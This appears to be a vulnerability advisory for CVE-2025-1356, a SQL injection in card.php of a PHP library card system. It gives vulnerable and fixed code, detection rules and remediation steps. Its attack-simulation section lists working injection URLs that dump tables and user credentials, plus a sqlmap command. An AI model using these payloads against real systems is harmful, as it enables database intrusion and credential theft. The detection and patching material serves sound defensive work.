CVE-2025-1356
Executive Summary
CVE-2025-1356 is a critical SQL injection vulnerability discovered in the needyamin Library Card System version 1.0. The flaw resides in the card.php file, where the id parameter is directly concatenated into SQL queries without sanitization or parameterization. This allows unauthenticated remote attackers to execute arbitrary SQL commands, potentially leading to full database compromise, data exfiltration, and further lateral movement within the network. The vendor has been unresponsive, and no official patch exists. Public proof-of-concept (PoC) code is available, increasing the risk of widespread exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application with no known supply chain dependencies.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and has a public PoC. Immediate action is required.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the card.php endpoint. The application likely constructs a SQL query similar to:
SELECT * FROM cards WHERE id = $_GET['id'];
Without input validation or prepared statements, an attacker can inject SQL commands via the id parameter. For example:
http://target/card.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
This allows the attacker to:
- Extract database schema, tables, and sensitive data (e.g., user credentials, card details).
- Bypass authentication if the query is used for login.
- Potentially write files to the server (if database user has FILE privilege).
- Execute system commands via
xp_cmdshell(if SQL Server) orINTO OUTFILE(if MySQL).
The attack is fully remote and does not require any prior access.
Vulnerable vs. Patched Code
Vulnerable Code (card.php):
<?php
$id = $_GET['id'];
$query = "SELECT * FROM cards WHERE id = $id";
$result = mysqli_query($conn, $query);
// ...
?>
Patched Code (Recommended):
<?php
$id = intval($_GET['id']); // Cast to integer
$query = "SELECT * FROM cards WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
// ...
?>
The patched version uses parameterized queries (prepared statements) to prevent SQL injection. Additionally, input is cast to an integer as a defense-in-depth measure.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target running needyamin Library Card System 1.0.
- Network access to the
card.phpendpoint.
Exploitation Steps:
Identify the vulnerable parameter:
http://target/card.php?id=1If the page returns a valid card, proceed.
Confirm SQL injection:
http://target/card.php?id=1' AND 1=1-- - http://target/card.php?id=1' AND 1=2-- -If the first returns a result and the second does not, injection is confirmed.
Extract database version:
http://target/card.php?id=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10-- -Enumerate tables:
http://target/card.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- -Dump user credentials:
http://target/card.php?id=1 UNION SELECT 1,group_concat(username,':',password),3,4,5,6,7,8,9,10 FROM users-- -
Automated Exploitation (sqlmap):
sqlmap -u "http://target/card.php?id=1" --batch --dbs
Blue Team (Defense & Detection)
Immediate Actions:
- Isolate affected systems from the network.
- Review web server logs for suspicious
idparameter values (e.g.,UNION,SELECT,'). - Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
Honeypot Deployment:
- Deploy a fake
card.phpendpoint that logs all requests and alerts on SQL injection attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/card.phpwithidparameter containing SQL keywords (UNION,SELECT,',--). - Outbound database connections from the web server to unknown IPs.
- Unusual database queries (e.g.,
SELECT * FROM mysql.user).
File IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php). - Modified
card.phpfile (check file hash).
Log IOCs:
- Web server logs showing repeated
idparameter manipulation. - Database logs showing
UNION SELECTstatements.
Detection Engineering
YARA Rule
rule CVE_2025_1356_SQLi_Detection {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-1356"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-1356"
strings:
$sqli1 = /id=[0-9]*['\"]?(\s|%20)*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND)/i
$sqli2 = /id=[0-9]*['\"]?(\s|%20)*--/i
$sqli3 = /id=[0-9]*['\"]?(\s|%20)*\/\*/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-1356 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against card.php
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/card.php'
cs-uri-query|contains:
- 'id='
- 'UNION'
- 'SELECT'
- '--'
- '1=1'
- '1=2'
condition: selection
falsepositives:
- Legitimate use of UNION in rare cases (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-1356 SQL Injection Attempt"; flow:to_server,established; content:"/card.php"; http_uri; content:"id="; http_uri; pcre:"/id=[0-9]*['\"]?(\s|%20)*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR|AND|--)/iU"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation (No Patch Available):
- Disable the vulnerable endpoint: Remove or rename
card.phpif not essential. - Implement WAF rules: Block requests containing SQL injection patterns.
- Input validation: Add server-side validation to cast
idto an integer. - Database hardening: Ensure database user has minimal privileges (no FILE, no DROP).
- Network segmentation: Place the web server in a DMZ with strict egress filtering.
Long-Term Remediation:
- Rewrite the application using parameterized queries (prepared statements).
- Conduct a full security audit of the codebase.
- Migrate to a supported and maintained library management system.
Vendor Contact:
- Since the vendor is unresponsive, consider forking the project and applying patches yourself, or switching to an alternative solution.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert